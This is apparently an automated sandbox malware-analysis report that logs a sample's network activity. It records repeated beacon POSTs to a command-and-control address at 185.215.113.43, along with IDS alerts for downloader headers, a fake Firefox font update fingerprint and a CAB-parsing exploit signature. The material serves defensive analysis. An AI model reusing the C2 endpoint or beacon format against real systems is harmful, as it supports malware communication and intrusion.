Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49735 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49759 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49762 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49798 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49808 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49810 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49811 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49813 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49819 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49818 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49809 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49824 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49825 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49827 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49829 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49836 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49831 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49838 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49842 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49845 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49847 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49849 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49858 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49799

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

Code function: 9_2_0034E0C0 recv,recv,recv,recv,

9_2_0034E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
